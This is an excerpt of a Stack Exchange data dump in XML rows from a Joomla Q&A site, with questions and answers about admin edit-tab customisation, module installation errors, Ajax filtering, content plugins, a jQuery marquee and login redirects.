  <row Id="21745" PostTypeId="1" CreationDate="2017-10-17T20:01:45.957" Score="2" ViewCount="204" Body="&lt;p&gt;I want to check the &lt;strong&gt;admin&lt;/strong&gt; edit article for the category of the article.  Much in the same way fields does.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if the category is a certain one then don't show the content tab (as I will be using fields instead).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I can create custom templates, but it is less confusing for the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It needs to change if the category changes so it can't be on initial page load.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2017-11-18T11:52:33.590" Title="In Admin if category = x then don't show content tab" Tags="|joomla-3.x|administrator|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21746" PostTypeId="2" ParentId="21745" CreationDate="2017-10-17T21:40:05.723" Score="2" Body="&lt;p&gt;You might be able to do this with a editor-xtd plugin. Instead of having it create/inject a button it'll inject the javascript that does what you're wanting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: the category select field is part of the content tab so if you have the content tab be hidden (for certain categories) then the user will never be able to change that category from inside the article edit page after changing to one of those categories (or the Publish Status, Access level, etc for that matter). So are you wanting to hide the content tab, or just the editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a proof of concept of a plugin-xtd that I believe does what you're wanting. You'd need to change the category IDs in in the $cats variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cm_hidecontent.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.6&quot; type=&quot;plugin&quot; group=&quot;editors-xtd&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_editor-xtd_cm_hidecontent&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;Drew G&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;Oct 2017&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;-&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;-&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;-&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;3.6.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Proof of concept for hiding the content editor when certain categories are selected.&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;cm_hidecontent&quot;&amp;gt;cm_hidecontent.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;cm_hidecontent.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * &#xA; */&#xA;class plgButtonCm_hidecontent extends JPlugin&#xA;{&#xA;&#xA;    /**&#xA;     * Load the language file on instantiation.&#xA;     *&#xA;     * @var    boolean&#xA;     * @since  3.1&#xA;     */&#xA;    protected $autoloadLanguage = true;&#xA;&#xA;&#xA;    /**&#xA;     * Inject the needed javascript&#xA;     */&#xA;    function onDisplay($name, $asset, $author)&#xA;    {&#xA;&#xA;        // List which category IDs you want the editor to hide from.&#xA;        // You can pull this data from a plugin parameter or leave it hardcoded&#xA;        $cats = json_encode(array(1536, 419));&#xA;&#xA;        $js =&#xA;&amp;lt;&amp;lt;&amp;lt;EOF&#xA;&#xA;jQuery(function($){&#xA;&#xA;    jQuery('#jform_catid').change(function()&#xA;    {&#xA;        checkStatus();&#xA;    });&#xA;&#xA;    var checkStatus = function()&#xA;    {&#xA;        // Need to cast the value to a number else Array.includes() will fail&#xA;        var val = Number(jQuery('#jform_catid').val());&#xA;&#xA;        // You could hard code this array.&#xA;        var cats = {$cats};&#xA;&#xA;        if(cats.includes(val))&#xA;        {&#xA;            jQuery('#myTabContent .adminform').css('visibility','hidden');&#xA;        }&#xA;        else&#xA;        {&#xA;            jQuery('#myTabContent .adminform').css('visibility','visible');&#xA;        }&#xA;    }&#xA;&#xA;    // Initial pageload check&#xA;    checkStatus();&#xA;&#xA;});&#xA;&#xA;EOF;&#xA;        $doc = JFactory::getDocument();&#xA;        $doc-&amp;gt;addScriptDeclaration($js);&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="9459" LastEditDate="2017-10-18T18:40:01.470" LastActivityDate="2017-10-18T18:40:01.470" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="21747" PostTypeId="2" ParentId="14527" CreationDate="2017-10-18T06:00:20.347" Score="0" Body="&lt;p&gt;This may not be the 'correct' solution but what I did was&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get information from other tables:&#xA;In the views model, call the getItem function. Then first call the parent, then you can add to the $item object in the rest of the function. Then return the $item.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function getItem($pk = null) {&#xA;        $item = parent::getItem($pk);&#xA;&#xA;        // Your code&#xA;        // Example&#xA;        $item-&amp;gt;newValue = $newValueFromOtherTable&#xA;&#xA;        return $item;&#xA;      }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the same model file, override the save function, run queries storing data into tables other than the views table. Finally run the parent save function to run the normal save method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data){&#xA;  $itemId = $data['id'];&#xA;  $newValue = $data['newValue'];&#xA;&#xA;// Run queries to store data from other tables in their respective tables&#xA;&#xA;parent::save($data) // To run the save function&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is some room for errors in the save function but this is the only way I've been able to achieve this so far. If you run checks before storing any data however it should not cause any problems for you.&lt;/p&gt;&#xA;" OwnerUserId="9575" LastActivityDate="2017-10-18T06:00:20.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21748" PostTypeId="2" ParentId="20581" CreationDate="2017-10-18T06:05:35.807" Score="0" Body="&lt;p&gt;To add to what @itoctopus said, if you're running Akeeba Admin Tools, go to Admin Tools then go to Web Application Firewall. Then click on Configure WAF and under Basic Protection Features tab check to see if Allow administrator access only to IPs in Whitelist is set to Yes. If it is, you can set it to No or add your IP to the white list.&lt;/p&gt;&#xA;" OwnerUserId="9575" LastActivityDate="2017-10-18T06:05:35.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21749" PostTypeId="1" CreationDate="2017-10-18T12:23:06.757" Score="0" ViewCount="503" Body="&lt;p&gt;I am working on creating my first module.  I have been following &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Using_the_Database&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; and I have stopped right before this step for creating database tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is: I enter the path to this directory in the &lt;em&gt;Install from Directory&lt;/em&gt; tab of the Extension Manager.  I tried zipping all the files and uploading the zip file, and I get the same error.  It shows the following errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning&#xA;JInstaller: :Install: Cannot find Joomla XML setup file&#xA;&#xA;Error&#xA;Path does not have a valid package.&#xA;&#xA;Unable to find install package.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am wondering if there is an issue with my module setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;Chat&lt;/code&gt; folder is set up like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-rw-rw-r-- 1 ------- 1263 Oct 16 11:32 helper.php&#xA;-rw-rw-r-- 1 -------    0 Oct 16 11:01 index.html&#xA;-rw-rw-r-- 1 -------  764 Oct 16 10:57 mod_helloworld.php&#xA;-rw-rw-r-- 1 ------- 1286 Oct 16 11:58 mod_helloworld.xml&#xA;drwxrwxr-x 3 ------- 4096 Oct 16 11:28 sql&#xA;drwxrwxr-x 2 ------- 4096 Oct 16 11:01 tmpl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;code&gt;mod_helloworld.xml&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;module&quot; version=&quot;3.3.0&quot; client=&quot;site&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Hello, World!&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;John Doe&amp;lt;/author&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;A simple Hello, World! module.&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename&amp;gt;mod_helloworld.xml&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename module=&quot;mod_helloworld&quot;&amp;gt;mod_helloworld.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;helper.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;tmpl/default.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;tmpl/index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;sql&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&#xA;&amp;lt;install&amp;gt;&#xA;     &amp;lt;sql&amp;gt;&#xA;         &amp;lt;file driver=&quot;mysql&quot; charset=&quot;utf8&quot;&amp;gt;sql/mysql/install.mysql.utf8.sql&amp;lt;/file&amp;gt;&#xA;         &amp;lt;file driver=&quot;sqlazure&quot; charset=&quot;utf8&quot;&amp;gt;sql/sqlazure/install.sqlazure.utf8.sql&amp;lt;/file&amp;gt;&#xA;     &amp;lt;/sql&amp;gt;&#xA;&amp;lt;/install&amp;gt;&#xA;&#xA;&amp;lt;uninstall&amp;gt;&#xA;     &amp;lt;sql&amp;gt;&#xA;         &amp;lt;file driver=&quot;mysql&quot; charset=&quot;utf8&quot;&amp;gt;sql/mysql/uninstall.mysql.utf8.sql&amp;lt;/file&amp;gt;&#xA;         &amp;lt;file driver=&quot;sqlazure&quot; charset=&quot;utf8&quot;&amp;gt;sql/sqlazure/uninstall.sqlazure.utf8.sql&amp;lt;/file&amp;gt;&#xA;     &amp;lt;/sql&amp;gt;&#xA;&amp;lt;/uninstall&amp;gt;&#xA;&#xA;&amp;lt;update&amp;gt; &#xA;    &amp;lt;schemas&amp;gt;&#xA;        &amp;lt;schemapath type=&quot;mysql&quot;&amp;gt;sql/mysql/updates&amp;lt;/schemapath&amp;gt; &#xA;    &amp;lt;schemapath type=&quot;sqlazure&quot;&amp;gt;sql/sqlazure/updates&amp;lt;/schemapath&amp;gt; &#xA;    &amp;lt;/schemas&amp;gt; &#xA;&amp;lt;/update&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla Version is 3.3.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="390" LastEditorUserId="390" LastEditDate="2017-10-18T13:08:47.590" LastActivityDate="2017-10-18T13:08:47.590" Title="Created Module: JInstaller: :Install: Cannot find Joomla XML setup file" Tags="|module|installation|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21752" PostTypeId="1" CreationDate="2017-10-19T08:08:16.543" Score="1" ViewCount="43" Body="&lt;p&gt;Is there any component which allows large files management. I would like to provide download links for frontend users but but the file size excedes 500MB. On the other side just the logged in users should be able to access the download link.&lt;/p&gt;&#xA;" OwnerUserId="9563" LastActivityDate="2018-11-13T17:03:35.690" Title="Big Sized files download links for frontend users component" Tags="|component|file-upload|media-manager|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21753" PostTypeId="1" CreationDate="2017-10-19T08:18:46.970" Score="1" ViewCount="178" Body="&lt;p&gt;I started the development of my first Joomla component a few months ago but I needed to stop, because other projects. Now I'm back to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, my component is displaying a list of items but I need to add some filters. It will be amazing if instead of loading the entire page, I just update the list (there are other items in the page: menu, footer, an image carrousel). I suppose the answer is Ajax. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: How can I implement this filter system, without affect SEO (I know Google says it can crawl ajax, but I read in many places that the safest thing is to have two versions: One with Ajax and other without Ajax). Do I need to implement the render of the list twice? If so, the ajax render should return HTML code or something like a JSON representation of the items to be added and then, with javascript insert those elements where they should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All help will be really appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="9770" LastActivityDate="2018-09-15T23:00:32.967" Title="Custom component with Ajax filter and SEO" Tags="|joomla-3.x|ajax|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21754" PostTypeId="1" CreationDate="2017-10-19T09:12:13.593" Score="5" ViewCount="669" Body="&lt;p&gt;My goal is to setup a proper development environment using Ubuntu 16.04 to build Joomla extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until now I've just been zipping my extension and reinstalling it. That should drive anyone crazy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I sometimes also want to debug using Xdebug and I want to directly view the effect of my code changes I thought it would be nice to develop the extension directly inside the Joomla installation directory and then copy it back again to an extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read  &lt;a href=&quot;https://docs.joomla.org/Extension_development_using_eclipse_and_phing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Extension_development_using_eclipse_and_phing&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They use Phing there as a build tool and propose some example build scripts for both development directions (from extension to Joomla installation directory and vice versa).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I found this Git repository:&#xA;&lt;a href=&quot;https://github.com/enav/phing-joomla-extension-builder&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/enav/phing-joomla-extension-builder&lt;/a&gt;. Which works and seems to be usable in tandem with Git.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, I'd like to know if someone already has come up with a more efficient and proven development environment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe someone has some pointers for creating a sane development environment? I'm open to suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For anyone looking for the part about the file permissions issue: as suggested in the comments I've split up this question and placed it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/q/46852847/694400&quot;&gt;https://stackoverflow.com/q/46852847/694400&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11529" LastEditorUserId="11529" LastEditDate="2017-10-20T15:55:57.613" LastActivityDate="2021-04-07T14:36:04.250" Title="How to setup a proper extension development environment?" Tags="|joomla-3.x|extensions|debug|git|" AnswerCount="4" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="21755" PostTypeId="2" ParentId="21752" CreationDate="2017-10-19T10:49:32.650" Score="1" Body="&lt;p&gt;Docman can do that. If you hit any limits then you can increase them in the Docman settings, the Joomla settings, and the PHP server settings.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-10-19T10:49:32.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21756" PostTypeId="2" ParentId="21745" CreationDate="2017-10-19T11:08:22.867" Score="3" Body="&lt;p&gt;Override the &lt;code&gt;administrator/components/com_content/views/article/edit.php&lt;/code&gt; in your admin template, and then, in the overridden file, create a condition to hide the following code if $this-&gt;item-&gt;catid = '8' (where 8 is the category ID that you want to hide the &lt;code&gt;content&lt;/code&gt; table for):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;item-&amp;gt;catid != '8') {&#xA;&amp;lt;?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' =&amp;gt; 'general')); ?&amp;gt;&#xA;echo JHtml::_('bootstrap.addTab', 'myTab', 'general', JText::_('COM_CONTENT_ARTICLE_CONTENT')); ?&amp;gt;&#xA;&amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;span9&quot;&amp;gt;&#xA;        &amp;lt;fieldset class=&quot;adminform&quot;&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('articletext'); ?&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;span3&quot;&amp;gt;&#xA;        &amp;lt;?php echo JLayoutHelper::render('joomla.edit.global', $this); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php echo JHtml::_('bootstrap.endTab');&#xA;} else{&#xA;    &amp;lt;?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' =&amp;gt; 'images')); ?&amp;gt;&#xA;}?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you only want to hide the editor (and the whole &lt;code&gt;content&lt;/code&gt; tab), then just create the condition around the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset class=&quot;adminform&quot;&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('articletext'); ?&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-10-19T11:08:22.867" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21757" PostTypeId="1" AcceptedAnswerId="21758" CreationDate="2017-10-19T16:30:16.447" Score="0" ViewCount="261" Body="&lt;p&gt;I've created a template override for the article view where the intro and the full text are invoked separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div itemprop=&quot;articleBody&quot;&amp;gt;&#xA;        &amp;lt;?php echo $this-&amp;gt;item-&amp;gt;text; ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;intro_text&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;introtext;?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;full_text&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;fulltext . JHTML::_('content.prepare'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The inclusion of JHTML::_('content.prepare') doesn't change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly, content plugins load normally if explicit commands in curly brackets are &lt;strong&gt;not&lt;/strong&gt; required. However, when {command} is required to load a plugin, said {command} is displayed as-is (raw and unprocessed).&lt;/p&gt;&#xA;" OwnerUserId="5353" LastActivityDate="2021-09-16T00:12:57.617" Title="article view - com_content not triggering content plugins when article is split" Tags="|joomla-3.x|plugin|overrides|com-content|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21758" PostTypeId="2" ParentId="21757" CreationDate="2017-10-19T16:51:31.480" Score="1" Body="&lt;p&gt;You are invoking content.prepare without parameters. One of those parameters is the text you want the plug-ins to process. So your code runs the content plug-ins and then appends an empty string to the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is the refence you want &lt;a href=&quot;https://docs.joomla.org/Triggering_content_plugins_in_your_extension&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Triggering_content_plugins_in_your_extension&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2017-10-19T16:51:31.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21759" PostTypeId="1" AcceptedAnswerId="21760" CreationDate="2017-10-19T18:39:51.710" Score="0" ViewCount="445" Body="&lt;p&gt;A little question here. A client wants a temporary notice placed on the site that scrolls horizontally inside a module. I have applied the basics of this fiddle, created a custom.js file that loads in the  replaced the $ with Jquery but it still does not scroll. I am not receiving any JS errors in the console either? I have set 'Prepare content' to yes and it doesn't make a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The html code itself is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;width: 100%;&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;marquee&quot; style=&quot;width: 50%; float: left; padding-top: 8px;&quot;&amp;gt;&amp;lt;span class=&quot;marquee-text&quot;&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;a href=&quot;/thurso&quot; title=&quot;Thurso opening times changing&quot;&amp;gt;Thurso &amp;lt;/a&amp;gt;&amp;lt;/strong&amp;gt;Late Opening times changing. As from Nov 6th we will shut at 6pm&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div style=&quot;text-align: right; width: 50%; float: right;&quot;&amp;gt;&amp;lt;a href=&quot;index.php?option=com_content&amp;amp;amp;view=article&amp;amp;amp;id=5&amp;amp;amp;Itemid=111&quot;&amp;gt;&amp;lt;strong&amp;gt;Thurso&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;01847 892387 &amp;amp;nbsp; &amp;lt;a href=&quot;index.php?option=com_content&amp;amp;amp;view=article&amp;amp;amp;id=6&amp;amp;amp;Itemid=140&quot;&amp;gt;&amp;lt;strong&amp;gt;Wick&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt;&amp;amp;nbsp;01955&amp;amp;nbsp;602088&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;a href=&quot;https://www.facebook.com/DonaldSMcGregorPartners/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-facebook-official fa-2x&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the adapted js code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var marquee = jQuery('div.marquee');&#xA;marquee.each(function() {&#xA;    var mar = jQuery(this),indent = mar.width();&#xA;    mar.marquee = function() {&#xA;        indent--;&#xA;        mar.css('text-indent',indent);&#xA;        if (indent &amp;lt; -1 * mar.children('span.marquee-text').width()) {&#xA;            indent = mar.width();&#xA;        }&#xA;    };&#xA;    mar.data('interval',setInterval(mar.marquee,1000/60));&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any suggestions as to how I can get this to work? Thank you in advance.&#xA;&lt;a href=&quot;http://jsfiddle.net/4mTMw/8/&quot; rel=&quot;nofollow noreferrer&quot;&gt;enter link description here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2018-05-06T02:39:36.713" Title="Scroll text within a div in a module" Tags="|joomla-3.x|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21760" PostTypeId="2" ParentId="21759" CreationDate="2017-10-19T20:31:54.103" Score="3" Body="&lt;p&gt;My guess would be that you are calling the javascript before the html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try wrapping it in &lt;code&gt;jQuery( document ).ready&lt;/code&gt; so that it loads after the html, ie&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery( document ).ready(function() {&#xA;var marquee = jQuery('div.marquee');&#xA;marquee.each(function() {&#xA;    var mar = jQuery(this),indent = mar.width();&#xA;    mar.marquee = function() {&#xA;        indent--;&#xA;        mar.css('text-indent',indent);&#xA;        if (indent &amp;lt; -1 * mar.children('span.marquee-text').width()) {&#xA;            indent = mar.width();&#xA;        }&#xA;    };&#xA;    mar.data('interval',setInterval(mar.marquee,1000/60));&#xA;});&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, can you expand your question to explain how and where you are adding your code, eg are you creating a bespoke module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that it is possible to make a marquee in pure &lt;a href=&quot;https://www.quackit.com/css/codes/marquees/&quot; rel=&quot;nofollow noreferrer&quot;&gt;css&lt;/a&gt; without the need for javascript.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-10-19T20:31:54.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21761" PostTypeId="2" ParentId="21659" CreationDate="2017-10-20T15:26:38.343" Score="1" Body="&lt;p&gt;Let me explain first, how the redirect happen after login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File: components/com_users/views/login/default_login.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $return = $this-&amp;gt;form-&amp;gt;getValue('return', '', $this-&amp;gt;params-&amp;gt;get('login_redirect_url', $this-&amp;gt;params-&amp;gt;get('login_redirect_menuitem'))); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The page will redirect to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Value of &lt;code&gt;return&lt;/code&gt; parameter in the request; if empty then&lt;/li&gt;&#xA;&lt;li&gt;Value you set in your menu item for &lt;code&gt;login_redirect_url&lt;/code&gt;; if empty then&lt;/li&gt;&#xA;&lt;li&gt;Value you set in your menu item for &lt;code&gt;login_redirect_menuitem&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So the final redirect depends on the same order of values above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If none of the above values are available, the final return value will be your profile page (what is happening in your case). The code for this in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;file: components/com_users/controllers/user.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set the return URL if empty.&#xA;if (empty($data['return']))&#xA;{&#xA;    $data['return'] = 'index.php?option=com_users&amp;amp;view=profile';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please make a note that; the redirect url that you set in your menu item must be internal url or selecting the ID of the menu item. Internal urls starts with &lt;code&gt;index.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example &lt;code&gt;index.php?option=com_mycomponent&amp;amp;view=myview&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-10-20T15:26:38.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21762" PostTypeId="2" ParentId="21753" CreationDate="2017-10-20T15:44:50.123" Score="1" Body="&lt;p&gt;Now that you can change the URL with Ajax without loading the page, you will be able to get the best of both worlds!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have your Ajax code load content, and, you can change the URL based on the content. For example, if your ajax is loading &quot;Books&quot;, then you can change the URL to yoursite.com/books (or whatever the URL should be)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the URL can be done with: &lt;code&gt;window.history.pushState&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you will need to ensure that any URL you push to the browser is a crawlable URL.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-10-20T15:44:50.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
